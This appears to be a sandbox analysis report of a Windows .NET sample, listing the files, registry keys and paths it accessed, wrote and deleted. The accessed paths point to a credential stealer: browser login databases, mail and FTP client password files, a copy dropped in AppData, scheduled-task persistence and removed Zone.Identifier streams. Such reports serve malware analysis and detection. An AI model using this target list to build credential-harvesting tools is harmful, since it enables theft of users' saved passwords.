C:\Windows\Temp\fwtsqmfile01.sqm C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\it-IT\sc.exe.mui C:\Windows\Tasks\Adobe Flash Player Updater.job \??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM C:\Windows\sysnative\Tasks\Microsoft\Windows\WDI\ResolutionHost C:\Windows\SysWOW64\wpdshext.dll C:\Windows\SysWOW64\shdocvw.dll C:\ProgramData\Microsoft\Network\ C:\ProgramData\Microsoft\Network\Downloader\ C:\Windows\sysnative\tzres.dll C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat \??\PIPE\samr C:\DosDevices\pipe\ C:\Windows\sysnative\wlrmdr.exe C:\Windows\sysnative C:\Windows\AppPatch\AppPatch64\sysmain.sdb C:\Windows\sysnative\ \Device\Ndis \Device\LanmanDatagramReceiver C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.config C:\Windows\Microsoft.net\Framework\v2.0.50727\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.Local\ C:\Windows\Microsoft.net\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.net C:\Windows\Microsoft.net\Framework C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.Config C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.INI C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic\8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\bcrypt.dll C:\Windows\System32\wbem\wbemdisp.tlb C:\Windows\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\CustomMarshalers\bf7e7494e75e32979c7824a07570a8a9\CustomMarshalers.ni.dll C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.INI C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\oleaut32.DLL C:\Windows\SysWOW64\stdole2.tlb C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\System.Management.ni.dll C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.INI C:\Windows\Microsoft.NET\Framework\v2.0.50727\wminet_utils.dll C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\oleaut32.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\mscorlib.resources.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\mscorlib.resources\mscorlib.resources.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\mscorlib.resources.exe C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\mscorlib.resources\mscorlib.resources.exe C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll C:\Windows\assembly\GAC_MSIL\System.Configuration\2.0.0.0__b03f5f7f11d50a3a\System.Configuration.INI C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll C:\Windows\assembly\GAC_MSIL\System.Xml\2.0.0.0__b77a5c561934e089\System.Xml.INI C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll C:\Windows\Globalization\en.nlp C:\Windows\System32\tzres.dll C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll C:\%insfolder%\%insname% C:\Users\Seven01\AppData\Local\Temp\WINHOSTOUT.exe C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\shell32.dll C:\Users\Seven01\AppData\Local\Google\Chrome\User Data\* C:\Users\Seven01\AppData\Roaming\Mozilla\Firefox\profiles.ini C:\Users\Seven01\AppData\Roaming\Mozilla\Firefox\logins.json C:\Windows\assembly\GAC_32\Microsoft.VisualBasic.resources\8.0.0.0_it-IT_b03f5f7f11d50a3a C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it-IT_b03f5f7f11d50a3a C:\Windows\assembly\GAC\Microsoft.VisualBasic.resources\8.0.0.0_it-IT_b03f5f7f11d50a3a C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\Microsoft.VisualBasic.resources.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\Microsoft.VisualBasic.resources\Microsoft.VisualBasic.resources.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\Microsoft.VisualBasic.resources.exe C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\Microsoft.VisualBasic.resources\Microsoft.VisualBasic.resources.exe C:\Windows\assembly\GAC_32\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a\Microsoft.VisualBasic.resources.dll C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a\Microsoft.VisualBasic.resources.INI C:\Users\Seven01\AppData\Roaming\Opera Software\Opera Stable\Login Data C:\Users\Seven01\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources.exe C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources.exe C:\Windows\Microsoft.net\Framework\v2.0.50727\it\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\it\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources.dll C:\Windows\Microsoft.net\Framework\v2.0.50727\it\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources.exe C:\Windows\Microsoft.net\Framework\v2.0.50727\it\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources\WLFXWNEAKWSNTONCJVILSOWEICUWTBNCEWEUZIYM.resources.exe C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.ini C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5 C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies C:\Users\Seven01\AppData\Local\Microsoft\Windows\History C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\desktop.ini C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5 C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\desktop.ini C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\ C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\index.dat C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\ C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\IETldCache\ C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Security\d9a485330ec2708456134e4a9712a4ab\System.Security.ni.dll C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.INI C:\Program Files (x86)\Common Files\Apple\Apple Application Support\plutil.exe C:\Users\Seven01\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini C:\Users\Seven01\AppData\Roaming\Mozilla\SeaMonkey\logins.json C:\Users\Seven01\AppData\Local\Comodo\Dragon\User Data\Default\Login Data C:\Users\Seven01\AppData\Roaming\Flock\Browser\profiles.ini C:\Program Files (x86)\Mozilla Firefox\nss3.dll C:\Program Files (x86)\Postbox\nss3.dll C:\Program Files (x86)\Mozilla Thunderbird\nss3.dll C:\Program Files (x86)\SeaMonkey\nss3.dll C:\Program Files (x86)\Flock\nss3.dll C:\Users\Seven01\AppData\Roaming\Flock\Browser\signons3.txt C:\Users\Seven01\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Chromium\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\Torch\User Data\Default\Login Data C:\Users\Seven01\AppData\Local\UCBrowser\* C:\Users\Seven01\AppData\Roaming\Thunderbird\profiles.ini C:\Users\Seven01\AppData\Roaming\Thunderbird\signons.sqlite C:\Users\Seven01\AppData\Roaming\Thunderbird\logins.json C:\Storage\ C:\mail\ C:\Users\Seven01\AppData\Local\VirtualStore\Program Files\Foxmail\mail\ C:\Users\Seven01\AppData\Local\VirtualStore\Program Files (x86)\Foxmail\mail\ C:\Users\Seven01\AppData\Roaming\Opera Mail\Opera Mail\wand.dat C:\Users\Seven01\AppData\Roaming\Pocomail\accounts.ini C:\Users\Seven01\AppData\Roaming\The Bat! C:\Users\Seven01\AppData\Roaming\Postbox\profiles.ini C:\Users\Seven01\AppData\Roaming\Postbox\signons.sqlite C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml C:\Users\Seven01\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini C:\Users\Seven01\AppData\Roaming\CoreFTP\sites.idx C:\Windows\SysWOW64\wshom.ocx C:\ProgramData\DynDNS\Updater\config.dyndns C:\Users\All Users\AppData\Roaming\FlashFXP\3quick.dat C:\ C:\Users\Seven01\AppData\Roaming\.purple\accounts.xml C:\Users\Seven01\AppData\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml C:\Users\Seven01\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ C:\Users\Seven01\AppData\Local\Temp\Ftplist.txt C:\Program Files (x86)\jDownloader\config\database.script C:\Windows\sysnative\wbem\WmiPrvSE.exe C:\Windows\inf\hdaudio.inf C:\Windows\sysnative\DriverStore\it-IT\hdaudio.inf_loc C:\Windows\inf\hdaudio.PNF C:\Windows\System32\Macromed\Flash\mms.cfg C:\Windows\Temp C:\Windows\sysnative\LogFiles\Scm\9435f817-fed2-454e-88cd-7f78fda62c48 C:\Windows\sysnative\wbem\repository C:\Windows\sysnative\wbem\Logs C:\Windows\sysnative\wbem\AutoRecover C:\Windows\sysnative\wbem\MOF C:\Windows\sysnative\wbem\repository\INDEX.BTR C:\Windows\sysnative\wbem\repository\WRITABLE.TST C:\Windows\sysnative\wbem\repository\MAPPING1.MAP C:\Windows\sysnative\wbem\repository\MAPPING2.MAP C:\Windows\sysnative\wbem\repository\MAPPING3.MAP C:\Windows\sysnative\wbem\repository\OBJECTS.DATA C:\Windows\sysnative\wbem\repository\WBEM9xUpgd.dat \??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER C:\Windows\System32\p2pcollab.dll C:\Windows\System32\qagentrt.dll C:\Windows\System32\dnsapi.dll C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\* C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\* C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\* C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 C:\Windows\Temp\Cab75A8.tmp C:\Windows\Temp\Tar75A9.tmp C:\Windows\System32\Cab75A8.tmp C:\Windows\Temp\ \??\WMIDataDevice C:\Windows\Fonts\staticcache.dat C:\Windows\Microsoft.NET\Framework\v4.0.30319\ndpsetup.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngenservicelock.dat C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngenrootstorelock.dat C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen_service.log C:\Windows\System32\mscoree.dll.local C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe.config C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-appmodel-runtime-l1-1-0.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngenservicetestlock.dat C:\Windows\Microsoft.NET\ngenserviceclientlock.dat
Read Files
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll C:\Users\Seven01\AppData\Local\Temp\NSE.exe.config C:\Users\Seven01\AppData\Local\Temp\NSE.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll C:\Windows\System32\l_intl.nls \Device\KsecDD C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll C:\Windows\assembly\pubpol23.dat C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll \Device\NamedPipe\ C:\Windows\Branding\Basebrd\basebrd.dll C:\Windows\Globalization\Sorting\sortdefault.nls C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe.config C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui C:\Windows\sysnative\Tasks\Update\Update C:\Windows\SysWOW64\cmd.exe C:\Windows\AppPatch\sysmain.sdb C:\Windows\SysWOW64\ C:\Windows\SysWOW64\schtasks.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\appcompat\Programs\RecentFileCache.bcf C:\Windows\Microsoft.NET\Framework\v2.0.50727\ C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe C:\Windows\Temp\fwtsqmfile01.sqm C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\it-IT\sc.exe.mui C:\Windows\Tasks\Adobe Flash Player Updater.job \??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM C:\Windows\sysnative\Tasks\Microsoft\Windows\WDI\ResolutionHost C:\Windows\SysWOW64\wpdshext.dll C:\Windows\SysWOW64\shdocvw.dll C:\Windows\sysnative\tzres.dll C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat \??\PIPE\samr C:\Windows\sysnative\wlrmdr.exe C:\Windows\AppPatch\AppPatch64\sysmain.sdb C:\Windows\sysnative\ \Device\Ndis \Device\LanmanDatagramReceiver C:\Users\Seven01\AppData\Local\Temp\840493973.xml C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.config C:\Windows\Microsoft.net\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.Config C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll C:\Windows\System32\wbem\wbemdisp.tlb C:\Windows\assembly\NativeImages_v2.0.50727_32\CustomMarshalers\bf7e7494e75e32979c7824a07570a8a9\CustomMarshalers.ni.dll C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll C:\Windows\SysWOW64\stdole2.tlb C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\System.Management.ni.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\wminet_utils.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll C:\Windows\System32\tzres.dll C:\Users\Seven01\AppData\Roaming\Mozilla\Firefox\profiles.ini C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a\Microsoft.VisualBasic.resources.dll C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\index.dat C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Security\d9a485330ec2708456134e4a9712a4ab\System.Security.ni.dll C:\Users\Seven01\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini C:\Users\Seven01\AppData\Roaming\Flock\Browser\profiles.ini C:\Users\Seven01\AppData\Roaming\Flock\Browser\signons3.txt C:\Users\Seven01\AppData\Roaming\Thunderbird\profiles.ini C:\Users\Seven01\AppData\Roaming\Postbox\profiles.ini C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml C:\Users\Seven01\AppData\Roaming\CoreFTP\sites.idx C:\Windows\SysWOW64\wshom.ocx C:\Users\Seven01\AppData\Local\Temp\1650946654.xml C:\Users\Seven01\AppData\Local\Temp\201350900.xml C:\Windows\sysnative\wbem\WmiPrvSE.exe C:\Windows\inf\hdaudio.PNF C:\Windows\sysnative\Tasks\Adobe Flash Player Updater C:\Users\Seven01\AppData\Local\Temp\1168644672.xml C:\Windows\System32\Macromed\Flash\mms.cfg C:\Windows\sysnative\wbem\repository\MAPPING1.MAP C:\Windows\sysnative\wbem\repository\MAPPING2.MAP C:\Windows\sysnative\wbem\repository\MAPPING3.MAP C:\Windows\sysnative\wbem\repository\OBJECTS.DATA C:\Windows\sysnative\wbem\repository\INDEX.BTR \??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 C:\Windows\Temp\Cab75A8.tmp C:\Windows\Temp\Tar75A9.tmp \??\WMIDataDevice C:\Users\Seven01\AppData\Local\Temp\1784734666.xml C:\Users\Seven01\AppData\Local\Temp\372828621.xml C:\Users\Seven01\AppData\Local\Temp\1452519068.xml C:\Users\Seven01\AppData\Local\Temp\214493901.xml C:\Users\Seven01\AppData\Local\Temp\1586929957.xml C:\Windows\Fonts\staticcache.dat C:\Users\Seven01\AppData\Local\Temp\1325069775.xml C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen_service.log C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe.config C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe C:\Users\Seven01\AppData\Local\Temp\257899452.xml
Write Files
C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe C:\Users\Seven01\AppData\Local\Temp\Update.txt C:\Users\Seven01\AppData\Local\Temp\840493973.xml C:\Users\Seven01\AppData\Local\Temp\1650946654.xml C:\Users\Seven01\AppData\Local\Temp\201350900.xml \Device\NamedPipe C:\Users\Seven01\AppData\Local\Temp\1168644672.xml C:\Users\Seven01\AppData\Local\Temp\1784734666.xml C:\Users\Seven01\AppData\Local\Temp\372828621.xml C:\Users\Seven01\AppData\Local\Temp\1452519068.xml C:\Users\Seven01\AppData\Local\Temp\214493901.xml C:\Users\Seven01\AppData\Local\Temp\1586929957.xml C:\Users\Seven01\AppData\Local\Temp\1325069775.xml C:\Users\Seven01\AppData\Local\Temp\257899452.xml C:\Users\Seven01\AppData\Local\Temp\1887260039.xml C:\Windows\sysnative\Tasks\Update\Update C:\Windows\appcompat\Programs\RecentFileCache.bcf C:\Windows\Temp\fwtsqmfile01.sqm C:\Windows\Tasks\Adobe Flash Player Updater.job \??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM C:\ProgramData\Microsoft\Network\Downloader\qmgr0.dat C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat \??\PIPE\samr \Device\Ndis \Device\LanmanDatagramReceiver C:\Users\Seven01\AppData\Local\Temp\WINHOSTOUT.exe C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\index.dat C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat C:\Windows\sysnative\LogFiles\Scm\9435f817-fed2-454e-88cd-7f78fda62c48 C:\Windows\sysnative\wbem\repository\WRITABLE.TST C:\Windows\sysnative\wbem\repository\MAPPING1.MAP C:\Windows\sysnative\wbem\repository\MAPPING2.MAP C:\Windows\sysnative\wbem\repository\MAPPING3.MAP C:\Windows\sysnative\wbem\repository\OBJECTS.DATA C:\Windows\sysnative\wbem\repository\INDEX.BTR \??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 C:\Windows\Temp\Cab75A8.tmp \??\WMIDataDevice C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngenservicelock.dat C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngenrootstorelock.dat C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen_service.log
Delete Files
C:\Users\Seven01\AppData\Local\Temp\NSE.exe:ZONE.identifier C:\Users\Seven01\AppData\Local\Temp\NSE.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2388.4875359 C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2388.4875359 C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2388.4875390 C:\Users\Seven01\AppData\Roaming\zxftyytre\filename.exe:ZONE.identifier C:\Users\Seven01\AppData\Local\Temp\840493973.xml C:\Users\Seven01\AppData\Local\Temp\1650946654.xml C:\Users\Seven01\AppData\Local\Temp\201350900.xml C:\Users\Seven01\AppData\Local\Temp\1168644672.xml C:\Users\Seven01\AppData\Local\Temp\1784734666.xml C:\Users\Seven01\AppData\Local\Temp\372828621.xml C:\Users\Seven01\AppData\Local\Temp\1452519068.xml C:\Users\Seven01\AppData\Local\Temp\214493901.xml C:\Users\Seven01\AppData\Local\Temp\1586929957.xml C:\Users\Seven01\AppData\Local\Temp\1325069775.xml C:\Users\Seven01\AppData\Local\Temp\257899452.xml C:\Windows\sysnative\Tasks\Update\Update C:\Windows\Temp\Cab75A8.tmp C:\Windows\Temp\Tar75A9.tmp C:\Windows\Microsoft.NET\ngenserviceclientlock.dat
Keys
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\ HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0 HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir HKEY_CURRENT_USER\Software\Microsoft\.NETFramework HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR Policy\Standards HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NSE.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB HKEY_CURRENT_USER\Software\Microsoft\Fusion HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog 